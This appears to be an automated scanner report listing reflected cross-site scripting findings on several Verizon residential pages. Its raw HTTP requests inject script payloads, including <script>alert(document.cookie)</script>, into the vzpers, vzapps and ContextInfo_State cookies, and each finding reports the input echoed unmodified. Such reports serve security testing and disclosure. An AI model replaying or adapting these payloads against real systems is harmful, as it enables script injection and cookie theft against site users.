GET /residential/bundles/landing/fios_dp.html HTTP/1.1 Host: www22.verizon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: AimsChatURL_Cookie=https://collaborateext.verizon.com; vzapps=STATE=TX; NSC_xxx22_tqmbu_mcw=ffffffff895bc66945525d5f4f58455e445a4a423660; RVServiceLocation=TX; BTagRequired=N; showpromo=N; vzpers=STATE=TX3f4ec<script>alert(1)</script>6f8b4c3d6d2; vsrecentsearches=%26%2339%3b~~~~; refURL=http://www22.verizon.com/NROneRetail/NR/exeres/0ECAE15E-8F92-465E-B27B-6897F0CAB2C4,frameless.htm#; VzApps=STATE=TX; canigetfios=Y; ContextInfo_State=TX68a71<script>alert(document.cookie)</script>da0afcb6a72; Source=CHSI; myservices=vzdock=N; BusinessUnit=residential; autosuggest=on; V347=0; CP=null*; ASP.NET_SessionId=y44x4rr1epl4it451swfoua3; ak-sf=false; CMS_TimeZoneOffset=360;
The value of the vzpers cookie is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload 77415'><script>alert(1)</script>23ef036d4d7 was submitted in the vzpers cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /residential/bundles/landing/fios_dp.html HTTP/1.1 Host: www22.verizon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: AimsChatURL_Cookie=https://collaborateext.verizon.com; vzapps=STATE=TX; NSC_xxx22_tqmbu_mcw=ffffffff895bc66945525d5f4f58455e445a4a423660; RVServiceLocation=TX; BTagRequired=N; showpromo=N; vzpers=STATE=TX77415'><script>alert(1)</script>23ef036d4d7; vsrecentsearches=%26%2339%3b~~~~; refURL=http://www22.verizon.com/NROneRetail/NR/exeres/0ECAE15E-8F92-465E-B27B-6897F0CAB2C4,frameless.htm#; VzApps=STATE=TX; canigetfios=Y; ContextInfo_State=TX68a71<script>alert(document.cookie)</script>da0afcb6a72; Source=CHSI; myservices=vzdock=N; BusinessUnit=residential; autosuggest=on; V347=0; CP=null*; ASP.NET_SessionId=y44x4rr1epl4it451swfoua3; ak-sf=false; CMS_TimeZoneOffset=360;
The value of the vzpers cookie is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload c12fb'><script>alert(1)</script>c6597bba6ad was submitted in the vzpers cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /residential/bundles/landing/fios_online_nat.htm HTTP/1.1 Host: www22.verizon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: AimsChatURL_Cookie=https://collaborateext.verizon.com; vzapps=STATE=TX; NSC_xxx22_tqmbu_mcw=ffffffff895bc66945525d5f4f58455e445a4a423660; RVServiceLocation=TX; BTagRequired=N; showpromo=N; vzpers=STATE=TXc12fb'><script>alert(1)</script>c6597bba6ad; vsrecentsearches=%26%2339%3b~~~~; refURL=http://www22.verizon.com/NROneRetail/NR/exeres/0ECAE15E-8F92-465E-B27B-6897F0CAB2C4,frameless.htm#; VzApps=STATE=TX; canigetfios=Y; ContextInfo_State=TX68a71<script>alert(document.cookie)</script>da0afcb6a72; Source=CHSI; myservices=vzdock=N; BusinessUnit=residential; autosuggest=on; V347=0; CP=null*; ASP.NET_SessionId=y44x4rr1epl4it451swfoua3; ak-sf=false; CMS_TimeZoneOffset=360;
The value of the vzpers cookie is copied into the HTML document as plain text between tags. The payload 534fb<script>alert(1)</script>f563fbd5e46 was submitted in the vzpers cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /residential/bundles/landing/fios_online_nat.htm HTTP/1.1 Host: www22.verizon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: AimsChatURL_Cookie=https://collaborateext.verizon.com; vzapps=STATE=TX; NSC_xxx22_tqmbu_mcw=ffffffff895bc66945525d5f4f58455e445a4a423660; RVServiceLocation=TX; BTagRequired=N; showpromo=N; vzpers=STATE=TX534fb<script>alert(1)</script>f563fbd5e46; vsrecentsearches=%26%2339%3b~~~~; refURL=http://www22.verizon.com/NROneRetail/NR/exeres/0ECAE15E-8F92-465E-B27B-6897F0CAB2C4,frameless.htm#; VzApps=STATE=TX; canigetfios=Y; ContextInfo_State=TX68a71<script>alert(document.cookie)</script>da0afcb6a72; Source=CHSI; myservices=vzdock=N; BusinessUnit=residential; autosuggest=on; V347=0; CP=null*; ASP.NET_SessionId=y44x4rr1epl4it451swfoua3; ak-sf=false; CMS_TimeZoneOffset=360;
The value of the vzpers cookie is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload 32a9b'><script>alert(1)</script>572c9a7f055 was submitted in the vzpers cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /residential/bundles/landing/fios_online_nat.html HTTP/1.1 Host: www22.verizon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: AimsChatURL_Cookie=https://collaborateext.verizon.com; vzapps=STATE=TX; NSC_xxx22_tqmbu_mcw=ffffffff895bc66945525d5f4f58455e445a4a423660; RVServiceLocation=TX; BTagRequired=N; showpromo=N; vzpers=STATE=TX32a9b'><script>alert(1)</script>572c9a7f055; vsrecentsearches=%26%2339%3b~~~~; refURL=http://www22.verizon.com/NROneRetail/NR/exeres/0ECAE15E-8F92-465E-B27B-6897F0CAB2C4,frameless.htm#; VzApps=STATE=TX; canigetfios=Y; ContextInfo_State=TX68a71<script>alert(document.cookie)</script>da0afcb6a72; Source=CHSI; myservices=vzdock=N; BusinessUnit=residential; autosuggest=on; V347=0; CP=null*; ASP.NET_SessionId=y44x4rr1epl4it451swfoua3; ak-sf=false; CMS_TimeZoneOffset=360;
The value of the vzpers cookie is copied into the HTML document as plain text between tags. The payload e3de0<script>alert(1)</script>d4642ed9060 was submitted in the vzpers cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /residential/bundles/landing/fios_online_nat.html HTTP/1.1 Host: www22.verizon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: AimsChatURL_Cookie=https://collaborateext.verizon.com; vzapps=STATE=TX; NSC_xxx22_tqmbu_mcw=ffffffff895bc66945525d5f4f58455e445a4a423660; RVServiceLocation=TX; BTagRequired=N; showpromo=N; vzpers=STATE=TXe3de0<script>alert(1)</script>d4642ed9060; vsrecentsearches=%26%2339%3b~~~~; refURL=http://www22.verizon.com/NROneRetail/NR/exeres/0ECAE15E-8F92-465E-B27B-6897F0CAB2C4,frameless.htm#; VzApps=STATE=TX; canigetfios=Y; ContextInfo_State=TX68a71<script>alert(document.cookie)</script>da0afcb6a72; Source=CHSI; myservices=vzdock=N; BusinessUnit=residential; autosuggest=on; V347=0; CP=null*; ASP.NET_SessionId=y44x4rr1epl4it451swfoua3; ak-sf=false; CMS_TimeZoneOffset=360;
The value of the vzapps cookie is copied into the HTML document as plain text between tags. The payload cf0ca<script>alert(1)</script>6e69d41111a was submitted in the vzapps cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
The value of the vzpers cookie is copied into the HTML document as plain text between tags. The payload c7c07<script>alert(1)</script>adc9e875827 was submitted in the vzpers cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
The value of the vzpers cookie is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload 725b0'><script>alert(1)</script>64710c160a0 was submitted in the vzpers cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
The value of the vzapps cookie is copied into the HTML document as plain text between tags. The payload 12395<script>alert(1)</script>0d7230ed11c was submitted in the vzapps cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /residential/bundles/standardBundles HTTP/1.1 Host: www22.verizon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: AimsChatURL_Cookie=https://collaborateext.verizon.com; vzapps=STATE=TX12395<script>alert(1)</script>0d7230ed11c; NSC_xxx22_tqmbu_mcw=ffffffff895bc66945525d5f4f58455e445a4a423660; RVServiceLocation=TX; BTagRequired=N; showpromo=N; vzpers=STATE=TX; vsrecentsearches=%26%2339%3b~~~~; refURL=http://www22.verizon.com/NROneRetail/NR/exeres/0ECAE15E-8F92-465E-B27B-6897F0CAB2C4,frameless.htm#; VzApps=STATE=TX; canigetfios=Y; ContextInfo_State=TX68a71<script>alert(document.cookie)</script>da0afcb6a72; Source=CHSI; myservices=vzdock=N; BusinessUnit=residential; autosuggest=on; V347=0; CP=null*; ASP.NET_SessionId=y44x4rr1epl4it451swfoua3; ak-sf=false; CMS_TimeZoneOffset=360;
The value of the vzpers cookie is copied into the HTML document as plain text between tags. The payload d2fa4<script>alert(1)</script>b1d9cc2663b was submitted in the vzpers cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /residential/bundles/standardBundles HTTP/1.1 Host: www22.verizon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: AimsChatURL_Cookie=https://collaborateext.verizon.com; vzapps=STATE=TX; NSC_xxx22_tqmbu_mcw=ffffffff895bc66945525d5f4f58455e445a4a423660; RVServiceLocation=TX; BTagRequired=N; showpromo=N; vzpers=STATE=TXd2fa4<script>alert(1)</script>b1d9cc2663b; vsrecentsearches=%26%2339%3b~~~~; refURL=http://www22.verizon.com/NROneRetail/NR/exeres/0ECAE15E-8F92-465E-B27B-6897F0CAB2C4,frameless.htm#; VzApps=STATE=TX; canigetfios=Y; ContextInfo_State=TX68a71<script>alert(document.cookie)</script>da0afcb6a72; Source=CHSI; myservices=vzdock=N; BusinessUnit=residential; autosuggest=on; V347=0; CP=null*; ASP.NET_SessionId=y44x4rr1epl4it451swfoua3; ak-sf=false; CMS_TimeZoneOffset=360;
The value of the vzpers cookie is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload 5c6f8'><script>alert(1)</script>d33f67e8494 was submitted in the vzpers cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /residential/bundles/standardBundles HTTP/1.1 Host: www22.verizon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: AimsChatURL_Cookie=https://collaborateext.verizon.com; vzapps=STATE=TX; NSC_xxx22_tqmbu_mcw=ffffffff895bc66945525d5f4f58455e445a4a423660; RVServiceLocation=TX; BTagRequired=N; showpromo=N; vzpers=STATE=TX5c6f8'><script>alert(1)</script>d33f67e8494; vsrecentsearches=%26%2339%3b~~~~; refURL=http://www22.verizon.com/NROneRetail/NR/exeres/0ECAE15E-8F92-465E-B27B-6897F0CAB2C4,frameless.htm#; VzApps=STATE=TX; canigetfios=Y; ContextInfo_State=TX68a71<script>alert(document.cookie)</script>da0afcb6a72; Source=CHSI; myservices=vzdock=N; BusinessUnit=residential; autosuggest=on; V347=0; CP=null*; ASP.NET_SessionId=y44x4rr1epl4it451swfoua3; ak-sf=false; CMS_TimeZoneOffset=360;
The value of the vzpers cookie is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload f454d'><script>alert(1)</script>b47c22ba5cc was submitted in the vzpers cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /residential/directv.htm HTTP/1.1 Host: www22.verizon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: AimsChatURL_Cookie=https://collaborateext.verizon.com; vzapps=STATE=TX; NSC_xxx22_tqmbu_mcw=ffffffff895bc66945525d5f4f58455e445a4a423660; RVServiceLocation=TX; BTagRequired=N; showpromo=N; vzpers=STATE=TXf454d'><script>alert(1)</script>b47c22ba5cc; vsrecentsearches=%26%2339%3b~~~~; refURL=http://www22.verizon.com/NROneRetail/NR/exeres/0ECAE15E-8F92-465E-B27B-6897F0CAB2C4,frameless.htm#; VzApps=STATE=TX; canigetfios=Y; ContextInfo_State=TX68a71<script>alert(document.cookie)</script>da0afcb6a72; Source=CHSI; myservices=vzdock=N; BusinessUnit=residential; autosuggest=on; V347=0; CP=null*; ASP.NET_SessionId=y44x4rr1epl4it451swfoua3; ak-sf=false; CMS_TimeZoneOffset=360;
The value of the vzpers cookie is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload b1264'><script>alert(1)</script>165f1efa5f2 was submitted in the vzpers cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /residential/fiosinternet HTTP/1.1 Host: www22.verizon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: AimsChatURL_Cookie=https://collaborateext.verizon.com; vzapps=STATE=TX; NSC_xxx22_tqmbu_mcw=ffffffff895bc66945525d5f4f58455e445a4a423660; RVServiceLocation=TX; BTagRequired=N; showpromo=N; vzpers=STATE=TXb1264'><script>alert(1)</script>165f1efa5f2; vsrecentsearches=%26%2339%3b~~~~; refURL=http://www22.verizon.com/NROneRetail/NR/exeres/0ECAE15E-8F92-465E-B27B-6897F0CAB2C4,frameless.htm#; VzApps=STATE=TX; canigetfios=Y; ContextInfo_State=TX68a71<script>alert(document.cookie)</script>da0afcb6a72; Source=CHSI; myservices=vzdock=N; BusinessUnit=residential; autosuggest=on; V347=0; CP=null*; ASP.NET_SessionId=y44x4rr1epl4it451swfoua3; ak-sf=false; CMS_TimeZoneOffset=360;
The value of the vzpers cookie is copied into the HTML document as plain text between tags. The payload ee54a<script>alert(1)</script>e4ab8442bc3 was submitted in the vzpers cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /residential/fiosinternet HTTP/1.1 Host: www22.verizon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: AimsChatURL_Cookie=https://collaborateext.verizon.com; vzapps=STATE=TX; NSC_xxx22_tqmbu_mcw=ffffffff895bc66945525d5f4f58455e445a4a423660; RVServiceLocation=TX; BTagRequired=N; showpromo=N; vzpers=STATE=TXee54a<script>alert(1)</script>e4ab8442bc3; vsrecentsearches=%26%2339%3b~~~~; refURL=http://www22.verizon.com/NROneRetail/NR/exeres/0ECAE15E-8F92-465E-B27B-6897F0CAB2C4,frameless.htm#; VzApps=STATE=TX; canigetfios=Y; ContextInfo_State=TX68a71<script>alert(document.cookie)</script>da0afcb6a72; Source=CHSI; myservices=vzdock=N; BusinessUnit=residential; autosuggest=on; V347=0; CP=null*; ASP.NET_SessionId=y44x4rr1epl4it451swfoua3; ak-sf=false; CMS_TimeZoneOffset=360;
The value of the vzpers cookie is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload 25652'><script>alert(1)</script>11fe0b963dc was submitted in the vzpers cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /residential/fiosinternet/ HTTP/1.1 Host: www22.verizon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: AimsChatURL_Cookie=https://collaborateext.verizon.com; vzapps=STATE=TX; NSC_xxx22_tqmbu_mcw=ffffffff895bc66945525d5f4f58455e445a4a423660; RVServiceLocation=TX; BTagRequired=N; showpromo=N; vzpers=STATE=TX25652'><script>alert(1)</script>11fe0b963dc; vsrecentsearches=%26%2339%3b~~~~; refURL=http://www22.verizon.com/NROneRetail/NR/exeres/0ECAE15E-8F92-465E-B27B-6897F0CAB2C4,frameless.htm#; VzApps=STATE=TX; canigetfios=Y; ContextInfo_State=TX68a71<script>alert(document.cookie)</script>da0afcb6a72; Source=CHSI; myservices=vzdock=N; BusinessUnit=residential; autosuggest=on; V347=0; CP=null*; ASP.NET_SessionId=y44x4rr1epl4it451swfoua3; ak-sf=false; CMS_TimeZoneOffset=360;
The value of the vzpers cookie is copied into the HTML document as plain text between tags. The payload 34f2e<script>alert(1)</script>d474caeeb0f was submitted in the vzpers cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /residential/fiosinternet/ HTTP/1.1 Host: www22.verizon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: AimsChatURL_Cookie=https://collaborateext.verizon.com; vzapps=STATE=TX; NSC_xxx22_tqmbu_mcw=ffffffff895bc66945525d5f4f58455e445a4a423660; RVServiceLocation=TX; BTagRequired=N; showpromo=N; vzpers=STATE=TX34f2e<script>alert(1)</script>d474caeeb0f; vsrecentsearches=%26%2339%3b~~~~; refURL=http://www22.verizon.com/NROneRetail/NR/exeres/0ECAE15E-8F92-465E-B27B-6897F0CAB2C4,frameless.htm#; VzApps=STATE=TX; canigetfios=Y; ContextInfo_State=TX68a71<script>alert(document.cookie)</script>da0afcb6a72; Source=CHSI; myservices=vzdock=N; BusinessUnit=residential; autosuggest=on; V347=0; CP=null*; ASP.NET_SessionId=y44x4rr1epl4it451swfoua3; ak-sf=false; CMS_TimeZoneOffset=360;
The value of the vzpers cookie is copied into the HTML document as plain text between tags. The payload 9241e<script>alert(1)</script>98da35b9ed5 was submitted in the vzpers cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /residential/fiostv HTTP/1.1 Host: www22.verizon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: AimsChatURL_Cookie=https://collaborateext.verizon.com; vzapps=STATE=TX; NSC_xxx22_tqmbu_mcw=ffffffff895bc66945525d5f4f58455e445a4a423660; RVServiceLocation=TX; BTagRequired=N; showpromo=N; vzpers=STATE=TX9241e<script>alert(1)</script>98da35b9ed5; vsrecentsearches=%26%2339%3b~~~~; refURL=http://www22.verizon.com/NROneRetail/NR/exeres/0ECAE15E-8F92-465E-B27B-6897F0CAB2C4,frameless.htm#; VzApps=STATE=TX; canigetfios=Y; ContextInfo_State=TX68a71<script>alert(document.cookie)</script>da0afcb6a72; Source=CHSI; myservices=vzdock=N; BusinessUnit=residential; autosuggest=on; V347=0; CP=null*; ASP.NET_SessionId=y44x4rr1epl4it451swfoua3; ak-sf=false; CMS_TimeZoneOffset=360;
The value of the vzpers cookie is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload acabb'><script>alert(1)</script>a2ede854ce2 was submitted in the vzpers cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /residential/fiostv HTTP/1.1 Host: www22.verizon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: AimsChatURL_Cookie=https://collaborateext.verizon.com; vzapps=STATE=TX; NSC_xxx22_tqmbu_mcw=ffffffff895bc66945525d5f4f58455e445a4a423660; RVServiceLocation=TX; BTagRequired=N; showpromo=N; vzpers=STATE=TXacabb'><script>alert(1)</script>a2ede854ce2; vsrecentsearches=%26%2339%3b~~~~; refURL=http://www22.verizon.com/NROneRetail/NR/exeres/0ECAE15E-8F92-465E-B27B-6897F0CAB2C4,frameless.htm#; VzApps=STATE=TX; canigetfios=Y; ContextInfo_State=TX68a71<script>alert(document.cookie)</script>da0afcb6a72; Source=CHSI; myservices=vzdock=N; BusinessUnit=residential; autosuggest=on; V347=0; CP=null*; ASP.NET_SessionId=y44x4rr1epl4it451swfoua3; ak-sf=false; CMS_TimeZoneOffset=360;
The value of the vzpers cookie is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload 82d3e'><script>alert(1)</script>64d490109fc was submitted in the vzpers cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /residential/highspeedinternet/ HTTP/1.1 Host: www22.verizon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: AimsChatURL_Cookie=https://collaborateext.verizon.com; vzapps=STATE=TX; NSC_xxx22_tqmbu_mcw=ffffffff895bc66945525d5f4f58455e445a4a423660; RVServiceLocation=TX; BTagRequired=N; showpromo=N; vzpers=STATE=TX82d3e'><script>alert(1)</script>64d490109fc; vsrecentsearches=%26%2339%3b~~~~; refURL=http://www22.verizon.com/NROneRetail/NR/exeres/0ECAE15E-8F92-465E-B27B-6897F0CAB2C4,frameless.htm#; VzApps=STATE=TX; canigetfios=Y; ContextInfo_State=TX68a71<script>alert(document.cookie)</script>da0afcb6a72; Source=CHSI; myservices=vzdock=N; BusinessUnit=residential; autosuggest=on; V347=0; CP=null*; ASP.NET_SessionId=y44x4rr1epl4it451swfoua3; ak-sf=false; CMS_TimeZoneOffset=360;
The value of the vzpers cookie is copied into the HTML document as plain text between tags. The payload 547a1<script>alert(1)</script>fd62b4de3b4 was submitted in the vzpers cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /residential/highspeedinternet/ HTTP/1.1 Host: www22.verizon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: AimsChatURL_Cookie=https://collaborateext.verizon.com; vzapps=STATE=TX; NSC_xxx22_tqmbu_mcw=ffffffff895bc66945525d5f4f58455e445a4a423660; RVServiceLocation=TX; BTagRequired=N; showpromo=N; vzpers=STATE=TX547a1<script>alert(1)</script>fd62b4de3b4; vsrecentsearches=%26%2339%3b~~~~; refURL=http://www22.verizon.com/NROneRetail/NR/exeres/0ECAE15E-8F92-465E-B27B-6897F0CAB2C4,frameless.htm#; VzApps=STATE=TX; canigetfios=Y; ContextInfo_State=TX68a71<script>alert(document.cookie)</script>da0afcb6a72; Source=CHSI; myservices=vzdock=N; BusinessUnit=residential; autosuggest=on; V347=0; CP=null*; ASP.NET_SessionId=y44x4rr1epl4it451swfoua3; ak-sf=false; CMS_TimeZoneOffset=360;
The value of the vzpers cookie is copied into the HTML document as plain text between tags. The payload ba1d0<script>alert(1)</script>af14559c597 was submitted in the vzpers cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /residential/homephone HTTP/1.1 Host: www22.verizon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: AimsChatURL_Cookie=https://collaborateext.verizon.com; vzapps=STATE=TX; NSC_xxx22_tqmbu_mcw=ffffffff895bc66945525d5f4f58455e445a4a423660; RVServiceLocation=TX; BTagRequired=N; showpromo=N; vzpers=STATE=TXba1d0<script>alert(1)</script>af14559c597; vsrecentsearches=%26%2339%3b~~~~; refURL=http://www22.verizon.com/NROneRetail/NR/exeres/0ECAE15E-8F92-465E-B27B-6897F0CAB2C4,frameless.htm#; VzApps=STATE=TX; canigetfios=Y; ContextInfo_State=TX68a71<script>alert(document.cookie)</script>da0afcb6a72; Source=CHSI; myservices=vzdock=N; BusinessUnit=residential; autosuggest=on; V347=0; CP=null*; ASP.NET_SessionId=y44x4rr1epl4it451swfoua3; ak-sf=false; CMS_TimeZoneOffset=360;
The value of the vzpers cookie is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload eb562'><script>alert(1)</script>82a1c55dd60 was submitted in the vzpers cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
